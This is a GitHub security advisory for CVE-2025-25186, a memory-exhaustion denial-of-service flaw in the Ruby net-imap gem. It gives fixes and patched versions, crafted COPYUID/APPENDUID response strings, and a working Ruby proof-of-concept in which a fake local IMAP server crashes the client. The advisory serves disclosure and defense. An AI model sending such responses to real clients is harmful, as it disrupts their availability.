Skip to content

Possible DoS by memory exhaustion in net-imap

Moderate severity GitHub Reviewed Published Feb 8, 2025 in ruby/net-imap • Updated Apr 30, 2025

Package

bundler net-imap (RubyGems)

Affected versions

>= 0.3.2, < 0.3.8
>= 0.4.0, < 0.4.19
>= 0.5.0, < 0.5.6

Patched versions

0.3.8
0.4.19
0.5.6

Description

Summary

There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details

IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than
# UINT32_MAX can be created.  For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

Simple way to test this:

require "net/imap"

def test(size)
  input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
  parser = Net::IMAP::ResponseParser.new
  parser.parse input
end

test(99_999_999)

Fixes

Preferred Fix, minor API changes

Upgrade to v0.4.19, v0.5.6, or higher, and configure:

# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false

This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available.
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API

Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

limit = 1000
imap.add_response_handler do |resp|
  next unless resp.respond_to?(:name) && resp.respond_to?(:data)
  name = resp.name
  code = resp.data.code&.name if resp.data.respond_to?(:code)
  if Net::IMAP::VERSION > "0.4.0"
    imap.responses(name) { _1.slice!(0...-limit) }
    imap.responses(code) { _1.slice!(0...-limit) }
  else
    imap.responses(name).slice!(0...-limit)
    imap.responses(code).slice!(0...-limit)
  end
end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable:

#!/usr/bin/env ruby
require 'socket'
require 'net/imap'

if !defined?(Net::IMAP.config)
  puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
  puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
  puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end

size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)

def server_addr
  Addrinfo.tcp("localhost", 0).ip_address
end

def create_tcp_server
  TCPServer.new(server_addr, 0)
end

def start_server
  th = Thread.new do
    yield
  end
  sleep 0.1 until th.stop?
end

def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end

def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end

server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"

# server
start_server do
  sock = server.accept
  begin
    sock.print "* OK test server\r\n"
    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"

    malicious_response = appenduid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response

    malicious_response = copyuid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response
    sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
    sock.print "#{tag} OK CAPABILITY completed\r\n"

    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"
    sock.print "* BYE If you made it this far, you passed the test!\r\n"
    sock.print "#{tag} OK LOGOUT completed\r\n"
  rescue Exception => ex
    puts "Error in server: #{ex.message} (#{ex.class})"
  ensure
    sock.close
    server.close
  end
end

# client
begin
  puts "Client connecting,.."
  imap = Net::IMAP.new(server_addr, port: port)
  puts "Received capabilities: #{imap.capability}"
  pp responses: imap.responses
  imap.logout
rescue Exception => ex
  puts "Error in client: #{ex.message} (#{ex.class})"
  puts ex.full_message
ensure
  imap.disconnect if imap
end

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:

$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
        from /workspace/poc.rb:70:in '<main>'

References

@nevans nevans published to ruby/net-imap Feb 8, 2025
Published by the National Vulnerability Database Feb 10, 2025
Published to the GitHub Advisory Database Feb 10, 2025
Reviewed Feb 10, 2025
Last updated Apr 30, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(26th percentile)

CVE ID

CVE-2025-25186

GHSA ID

GHSA-7fc5-f82f-cx69

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.